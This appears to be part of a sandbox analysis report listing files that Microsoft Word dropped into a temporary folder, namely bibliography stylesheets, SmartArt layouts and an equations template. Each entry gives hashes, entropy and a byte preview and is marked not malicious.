Entropy (8bit):	3.4916022431157345
Encrypted:	false
SSDEEP:	6:fxnxUXsAl8xoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny8A8xoGHmD0+dAH/luWvv
MD5:	1A314B08BB9194A41E3794EF54017811
SHA1:	D1E70DB69CA737101524C75E634BB72F969464FF
SHA-256:	9025DD691FCAD181D5FD5952C7AA3728CD8A2CAF20DEA14930876419BED9B379
SHA-512:	AB29C8674A85711EABAE5F9559E9048FE91A2F51EB12D5A46152A310DE59F759DF8C617DA248798A7C20F60E26FBB1B0FC8DB47C46B098BCD26CF8CE78989ACA
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.r.a.c.k.e.t.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEBA6.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	314
Entropy (8bit):	3.5230842510951934
Encrypted:	false
SSDEEP:	6:fxnxUXJuJaw93Ti8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyZuUw9eNGHmD0wbnKYZAH/lMZqiv
MD5:	F25AC64EC63FA98D9E37782E2E49D6E6
SHA1:	97DD9CFA4A22F5B87F2B53EFA37332A9EF218204
SHA-256:	834046A829D1EA836131B470884905856DBF2C3C136C98ADEEFA0F206F38F8AB
SHA-512:	A0387239CDE98BCDE1668B582B046619C3B3505F9440343DAD22B1B7B9E05F3B74F2AE29E591EC37B6570A0C0E5FE571442873594B0684DDCCB4F6A1B5E10B1F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.e.e.e.2.0.0.6.o.f.f.i.c.e.o.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEBA6.tmp\ieee2006officeonline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	294178
Entropy (8bit):	4.977758311135714
Encrypted:	false
SSDEEP:	6144:ydkJ3yU0orh0SCLVXyMFsoiOjWIm4vW2uo4hfhf7v3uH4NYYP4BpBaZTTSSamEUD:b
MD5:	0C9731C90DD24ED5CA6AE283741078D0
SHA1:	BDD3D7E5B0DE9240805EA53EF2EB784A4A121064
SHA-256:	ABCE25D1EB3E70742EC278F35E4157EDB1D457A7F9D002AC658AAA6EA4E4DCDF
SHA-512:	A39E6201D6B34F37C686D9BD144DDD38AE212EDA26E3B81B06F1776891A90D84B65F2ABC5B8F546A7EFF3A62D35E432AF0254E2F5BFE4AA3E0CF9530D25949C0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt"......xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.....<xsl:output method="html" encoding="us-ascii"/>.....<xsl:template match="/">....<xsl:call-template name="Start"/>...</xsl:template>.....<xsl:template name="Start">....<xsl:choose>.....<xsl:when test="b:Version">......<xsl:text>2010.2.02</xsl:text>.....</xsl:when>.......<xsl:when test="b:XslVersion">......<xsl:text>2006</xsl:text>.....</xsl:when>.. <xsl:when test="b:StyleNameLocalized">.. <xsl:choose>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1033'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameLocalized/b:Lcid='1025'">.. <xsl:text>IEEE</xsl:text>.. </xsl:when>.. <xsl:when test="b:StyleNameL

C:\Users\user\AppData\Local\Temp\TCDEBA7.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	258
Entropy (8bit):	3.4692172273306268
Encrypted:	false
SSDEEP:	6:fxnxUXcq9DsoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnysmYoGHmD0+dAH/luWvv
MD5:	C1B36A0547FB75445957A619201143AC
SHA1:	CDB0A18152F57653F1A707D39F3D7FB504E244A7
SHA-256:	4DFF7D1CEF6DD85CC73E1554D705FA6586A1FBD10E4A73EEE44EAABA2D2FFED9
SHA-512:	0923FB41A6DB96C85B44186E861D34C26595E37F30A6F8E554BD3053B99F237D9AC893D47E8B1E9CF36556E86EFF5BE33C015CBBDD31269CDAA68D6947C47F3F
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .p.i.c.t.u.r.e.o.r.g.c.h.a.r.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEBA7.tmp\pictureorgchart.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	7370
Entropy (8bit):	7.9204386289679745
Encrypted:	false
SSDEEP:	192:fYa+ngK2xG6HvLvoUnXxO+blKO1lt2Zg0AV:fYVn8Y6Hv3XxO+8uQZCV
MD5:	586CEBC1FAC6962F9E36388E5549FFE9
SHA1:	D1EF3BF2443AE75A78E9FDE8DD02C5B3E46F5F2E
SHA-256:	1595C0C027B12FE4C2B506B907C795D14813BBF64A2F3F6F5D71912D7E57BC40
SHA-512:	68DEAE9C59EA98BD597AE67A17F3029BC7EA2F801AC775CF7DECA292069061EA49C9DF5776CB5160B2C24576249DAF817FA463196A04189873CF16EFC4BEDC62
Malicious:	false
Preview:	PK........;nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........HnB;..I)....j......._rels/.rels...J.@.._e..&6E.i/.,x..Lw'.j........G..\...................)...Y.3)..`...9r{v!......z...#>5.g.WJ%..T..>'m ..K.T.....j6[(:f.)S....C.mk5^.=:...X......C.... I......&5..e..H.1...).P.cw.kjT......C.......=.....}G!7E.y$.(...}b.........b=.<..^.....U..Y..PK.........^5a.2u............diagrams/layout1.xml..ko.8..+x.t.l..J.n.t.Mnw.x. ....B.t$.,.(&i.....(..d.mY......g.../[.<!.{ap>...L...p....G.9z?...._...e..`..%......8....G!..B8.....o...b.......Q.>\|.......g..O\B...i.h...0B.}.....z...k...H..t~r.v........7o.E....$....Z.........ZDd..~......>......O.3.SI.Y.".O&I....#."._c.$.r..z.g0`...0...q:...^0.EF...%(.Ao$.#.o6..c'....$%.}

C:\Users\user\AppData\Local\Temp\TCDEBB8.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	238
Entropy (8bit):	3.472155835869843
Encrypted:	false
SSDEEP:	6:fxnxUXGE2E3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxny4GHmD0+dAH/luWvv
MD5:	2240CF2315F2EB448CEA6E9CE21B5AC5
SHA1:	46332668E2169E86760CBD975FF6FA9DB5274F43
SHA-256:	0F7D0BD5A8CED523CFF4F99D7854C0EE007F5793FA9E1BA1CD933B0894BFBD0D
SHA-512:	10BA73FF861112590BF135F4B337346F9D4ACEB10798E15DC5976671E345BC29AC8527C6052FEC86AA7058E06D1E49052E49D7BCF24A01DB259B5902DB091182
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .r.i.n.g.s...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEBB8.tmp\rings.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	5151
Entropy (8bit):	7.859615916913808
Encrypted:	false
SSDEEP:	96:WkV3UHhcZDEteEJqeSGzpG43GUR8m8b6dDLiCTfjKPnD6H5RhfuDKNtxx3+7tDLp:Wq3UBc9EJqIpGgD5dDL1DjKvDKhfnNti
MD5:	6C24ED9C7C868DB0D55492BB126EAFF8
SHA1:	C6D96D4D298573B70CF5C714151CF87532535888
SHA-256:	48AF17267AD75C142EFA7AB7525CA48FAB579592339FB93E92C4C4DA577D4C9F
SHA-512:	A3E9DC48C04DC8571289F57AE790CA4E6934FBEA4FDDC20CB780F7EA469FE1FC1D480A1DBB04D15301EF061DA5700FF0A793EB67D2811C525FEF618B997BCABD
Malicious:	false
Preview:	PK.........nB;.h......F.......[Content_Types].xmlz.........MN.0...by.b.,.BI...X `...{..O.S...H\.'.XTP..K{.o.....rg..bL...XM.:.v..c.k...}.D....9.....Bb>.+..G.......+(.u}.w.]...v..{.M&.].>`....nB..B0Z@.e.u..R.......-.&#....aR..`.a..\|. 1^......&..\|..s.A.t..b..A.i7...7.&....bQK$O.......9....V....Wt_PK........5nB;.ndX....`......._rels/.rels...J.1.._%..f.J.J..x..AJ.2M&......g..#............\|.c..x{_._..^0e.\|.gU..z.....#.._..[..JG.m.....(...e..r."....P)....3..M].E:..SO.;D..c..J..rt...c.,.....a.;.....$.../5..D.Ue.g...Q3......5.':...@...~t{.v..QA>.P.R.A~..^AR.S4G......].n...x41....PK.........^5..s.V....Z......diagrams/layout1.xml.[]o.F.}N~..S.......VU.U+m6R........&.d.}...{M....Q.S....p9.'./O..z."..t>q....."[..j>y..?...u....[.}..j-...?Y..Bdy.I./.....0.._.....-.s...rj...I..=..<..9.\|>YK.....o.\|.my.F.LlB..be/E.Y!.$6r.f/.p%.......U....e..W.R..fK....`+?.rwX.[.b..\|..O>o.\|.....>1.......trN`7g..Oi.@5..^...]4.r...-y...T.h...[.j1..v....G..........nS..m..E"L...s

C:\Users\user\AppData\Local\Temp\TCDEBB9.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5081874837369886
Encrypted:	false
SSDEEP:	6:fxnxUXCOzi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnydONGHmD0wbnKYZAH/lMZqiv
MD5:	8D9B02CC69FA40564E6C781A9CC9E626
SHA1:	352469A1ABB8DA1DC550D7E27924E552B0D39204
SHA-256:	1D4483830710EF4A2CC173C3514A9F4B0ACA6C44DB22729B7BE074D18C625BAE
SHA-512:	8B7DB2AB339DD8085104855F847C48970C2DD32ADB0B8EEA134A64C5CC7DE772615F85D057F4357703B65166C8CF0C06F4F6FD3E60FFC80DA3DD34B16D5B1281
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .g.o.s.t.n.a.m.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEBB9.tmp\gostname.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	255948
Entropy (8bit):	5.103631650117028
Encrypted:	false
SSDEEP:	6144:gwprAm795vtfb8p4bgWPWEtTmtcRCDPThNPFQwB+26RxlsIBkAgRMBHcTCwsHe5a:kW
MD5:	9888A214D362470A6189DEFF775BE139
SHA1:	32B552EB3C73CD7D0D9D924C96B27A86753E0F97
SHA-256:	C64ED5C2A323C00E84272AD3A701CAEBE1DCCEB67231978DE978042F09635FA7
SHA-512:	8A75FC2713003FA40B9730D29C786C76A796F30E6ACE12064468DD2BB4BF97EF26AC43FFE1158AB1DB06FF715D2E6CDE8EF3E8B7C49AA1341603CE122F311073
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>............<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select=

C:\Users\user\AppData\Local\Temp\TCDEBBA.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	302
Entropy (8bit):	3.537169234443227
Encrypted:	false
SSDEEP:	6:fxnxUXfQIUA/e/Wl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXZ/eulNGHmD0wbnKYZAH/lMZqiv
MD5:	9C00979164E78E3B890E56BE2DF00666
SHA1:	1FA3C439D214C34168ADF0FBA5184477084A0E51
SHA-256:	21CCB63A82F1E6ACD6BAB6875ABBB37001721675455C746B17529EE793382C7B
SHA-512:	54AC8732C2744B60DA744E54D74A2664658E4257A136ABE886FF21585E8322E028D8243579D131EF4E9A0ABDDA70B4540A051C8B8B60D65C3EC0888FD691B9A7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0.n.m.e.r.i.c.a.l...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEBBA.tmp\iso690nmerical.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	217137
Entropy (8bit):	5.068335381017074
Encrypted:	false
SSDEEP:	6144:AwprA3Z95vtf58pb1WP2DCvCmvQursq7vIme5QyQzSS1apSiQhHDlruvoVeMUwFj:4P
MD5:	3BF8591E1D808BCCAD8EE2B822CC156B
SHA1:	9CC1E5EFD715BD0EAE5AF983FB349BAC7A6D7BA0
SHA-256:	7194396E5C833E6C8710A2E5D114E8E24338C64EC9818D51A929D57A5E4A76C8
SHA-512:	D434A4C15DA3711A5DAAF5F7D0A5E324B4D94A04B3787CA35456BFE423EAC9D11532BB742CDE6E23C16FA9FD203D3636BD198B41C7A51E7D3562D5306D74F757
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>..........<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>...... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$parame

C:\Users\user\AppData\Local\Temp\TCDEBCB.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	288
Entropy (8bit):	3.523917709458511
Encrypted:	false
SSDEEP:	6:fxnxUXC1l8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnySvNGHmD0wbnKYZAH/lMZqiv
MD5:	4A9A2E8DB82C90608C96008A5B6160EF
SHA1:	A49110814D9546B142C132EBB5B9D8A1EC23E2E6
SHA-256:	4FA948EEB075DFCB8DCA773A3F994560C69D275690953625731C4743CD5729F7
SHA-512:	320B9CC860FFBDB0FD2DB7DA7B7B129EEFF3FFB2E4E4820C3FBBFEA64735EB8CFE1F4BB5980302770C0F77FF575825F2D9A8BB59FC80AD4C198789B3D581963B
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .c.h.i.c.a.g.o...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEBCB.tmp\chicago.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	296658
Entropy (8bit):	5.000002997029767
Encrypted:	false
SSDEEP:	6144:RwprAMk0qvtfL/vF/bkWPz9yv7EOMBPitjASjTQQr7IwR0TnyDkJb78plJwf33iV:M
MD5:	9AC6DE7B629A4A802A41F93DB2C49747
SHA1:	3D6E929AA1330C869D83F2BF8EBEBACD197FB367
SHA-256:	52984BC716569120D57C8E6A360376E9934F00CF31447F5892514DDCCF546293
SHA-512:	5736F14569E0341AFB5576C94B0A7F87E42499CEC5927AAC83BB5A1F77B279C00AEA86B5F341E4215076D800F085D831F34E4425AD9CFD52C7AE4282864B1E73
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">...<xsl:output method="html" encoding="us-ascii"/>............<xsl:template match="*" mode="outputHtml2">.....<xsl:apply-templates mode="outputHtml"/>.....</xsl:template>.....<xsl:template name="StringFormatDot">....<xsl:param name="format" />....<xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.....<xsl:when test="$format = ''"></xsl:when>.....<xsl:when test="substring($format, 1, 2) = '%%'">......<xsl:text>%</xsl:text>......<xsl:call-template name="StringFormatDot">.......<xsl:with-param name="format" select="substring($format, 3)" />.......<xsl:with-param name="parameters" select="$para

C:\Users\user\AppData\Local\Temp\TCDEBDB.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	256
Entropy (8bit):	3.464918006641019
Encrypted:	false
SSDEEP:	6:fxnxUXR+EqRGRnRE3QepmlJ0+3FbnKfZObdADxp1RDWlVwv:fxnyB+5RmRGHmD0wbnKYZAH+Vwv
MD5:	93149E194021B37162FD86684ED22401
SHA1:	1B31CAEBE1BBFA529092BE834D3B4AD315A6F8F1
SHA-256:	50BE99A154A6F632D49B04FCEE6BCA4D6B3B4B7C1377A31CE9FB45C462D697B2
SHA-512:	410A7295D470EC85015720B2B4AC592A472ED70A04103D200FA6874BEA6A423AF24766E98E5ACAA3A1DBC32C44E8790E25D4611CD6C0DBFFFE8219D53F33ACA7
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .E.q.u.a.t.i.o.n.s...d.o.t.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.W.D. .D.o.c.u.m.e.n.t. .P.a.r.t.s.}.........

C:\Users\user\AppData\Local\Temp\TCDEBDB.tmp\Equations.dotx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft Word 2007+
Category:	dropped
Size (bytes):	51826
Entropy (8bit):	5.541375256745271
Encrypted:	false
SSDEEP:	384:erH5dYPCA4t3aEFGiSUDtYfEbi5Ry/AT7/6tHODaFlDSomurYNfT4A0VIwWNS89u:Q6Cbh9tENyWdaFUSYNfZS89/3qtEu
MD5:	2AB22AC99ACFA8A82742E774323C0DBD
SHA1:	790F8B56DF79641E83A16E443A75A66E6AA2F244
SHA-256:	BC9D45D0419A08840093B0BF4DCF96264C02DFE5BD295CD9B53722E1DA02929D
SHA-512:	E5715C0ECF35CE250968BD6DE5744D28A9F57D20FD6866E2AF0B2D8C8F80FEDC741D48F554397D61C5E702DA896BD33EED92D778DBAC71E2E98DCFB0912DE07B
Malicious:	false
Preview:	PK.........R.@c}LN4...........[Content_Types].xml ...(.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................`.I.%&/m.{.J.J..t...`.$.@........iG#)...eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.....D....>.V...f-}..r9....=..Mn..U..5.(.....a...E..b......w.$...,O_fu."[P..WU=.;.....5..wdt..y1.......i.44-.r....;./.biG.Cd.n.j.{/......V....c..^^.E.H?H.........B.........<...Ae.l.]..{....mK......B....

C:\Users\user\AppData\Local\Temp\TCDEBEC.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	242
Entropy (8bit):	3.4938093034530917
Encrypted:	false
SSDEEP:	6:fxnxUX44lWWoE3QepmlJ0+hdADryMluyS6Bkls0Lwv:fxnyvToGHmD0+dAH/luWvv
MD5:	A6B2731ECC78E7CED9ED5408AB4F2931
SHA1:	BA15D036D522978409846EA682A1D7778381266F
SHA-256:	6A2F9E46087B1F0ED0E847AF05C4D4CC9F246989794993E8F3E15B633EFDD744
SHA-512:	666926612E83A7B4F6259C3FFEC3185ED3F07BDC88D43796A24C3C9F980516EB231BDEA4DC4CC05C6D7714BA12AE2DCC764CD07605118698809DEF12A71F1FDD
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .T.a.b.L.i.s.t...g.l.o.x.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.\.S.m.a.r.t.A.r.t. .G.r.a.p.h.i.c.s.........

C:\Users\user\AppData\Local\Temp\TCDEBEC.tmp\TabList.glox

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	4888
Entropy (8bit):	7.8636569313247335
Encrypted:	false
SSDEEP:	96:StrFZ23/juILHPzms5UTuK9CuZGEoEuZ28H1HiGa2RnnLY+tUb:SPZQ7uCHPzms5UTlqauZVHdJRnLY+tUb
MD5:	0A4CA91036DC4F3CD8B6DBF18094CF25
SHA1:	6C7EED2530CD0032E9EEAB589AFBC296D106FBB9
SHA-256:	E5A56CCB3B3898F76ABF909209BFAB401B5DDCD88289AD43CE96B02989747E50
SHA-512:	7C69426F2250E8C84368E8056613C22977630A4B3F5B817FB5EA69081CE2A3CA6E5F93DF769264253D5411419AF73467A27F0BB61291CCDE67D931BD0689CB66
Malicious:	false
Preview:	PK.........e.>.......]>......diagrams/layout1.xmlz........Z..6....;..{......lw.E.o....i..T....&...G.+...$..(.6..>Y.pf8C.\|3.?..m....xA8v.`.hW..@..Zn..(kb..(.......`.+....Y`...\..qh.0.!&w..)\|...<..]Q.. _....m..Z.{3..~..5..R..d..A.O....gU.M..0..#...;.>$...T......T..z.Z.\a.+...?#.~.....1.>?.....DD.1...'..,..(...5B...M..]..>.C..<[....,L.p..Q.v.v^q.Y...5.~^c..5........3.j.......BgJ.nv.. ............tt......Q..p..K....(M.(]@..E..~z.~...8...49.t.Q..Q.n..+.....J.#J.... .P...P.1...!.#&...?A..&.."..\|..D.I...:.....~/.....b..].........nI7.IC.a..%...9.....4...r....b..q....@o........O...y...d@+~.<.\....f.a`:...Qy/^..P....[....@i.I.._.?.X.x.8....)..s....I.0...\|.....t...;...q=k.=..N.%!.(.1....B.Ps/."...#.%..&...j<..2x.=<.......s.....h..?..]?Y?...C.}E.O........{..6.d....I...A.....JN..w+....2..m>9.T7...t.6.}.i..f.Ga..t.].->...8U......G.D`......p..f.. ...qT.YX.t.F..X.u=.3r...4....4Q.D..l.6.+PR...+..T..h: H.&.1~....n.....)........2J.. O.W+vd..f....0.....6..9QhV..

C:\Users\user\AppData\Local\Temp\TCDEBFC.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	3.5502940710609354
Encrypted:	false
SSDEEP:	6:fxnxUXfQICl8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxnyXClNGHmD0wbnKYZAH/lMZqiv
MD5:	9B8D7EFE8A69E41CDC2439C38FE59FAF
SHA1:	034D46BEC5E38E20E56DD905E2CA2F25AF947ED1
SHA-256:	70042F1285C3CD91DDE8D4A424A5948AE8F1551495D8AF4612D59709BEF69DF2
SHA-512:	E50BB0C68A33D35F04C75F05AD4598834FEC7279140B1BB0847FF39D749591B8F2A0C94DA4897AAF6C33C50C1D583A836B0376015851910A77604F8396C7EF3C
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .i.s.o.6.9.0...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCDEBFC.tmp\iso690.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	270198
Entropy (8bit):	5.073814698282113
Encrypted:	false
SSDEEP:	6144:JwprAiaR95vtfb8pDbgWPzDCvCmvQursq7vImej/yQ4SS1apSiQhHDOruvoVeMUX:We
MD5:	FF0E07EFF1333CDF9FC2523D323DD654
SHA1:	77A1AE0DD8DBC3FEE65DD6266F31E2A564D088A4
SHA-256:	3F925E0CC1542F09DE1F99060899EAFB0042BB9682507C907173C392115A44B5
SHA-512:	B4615F995FAB87661C2DBE46625AA982215D7BDE27CAFAE221DCA76087FE76DA4B4A381943436FCAC1577CB3D260D0050B32B7B93E3EB07912494429F126BB3D
Malicious:	false
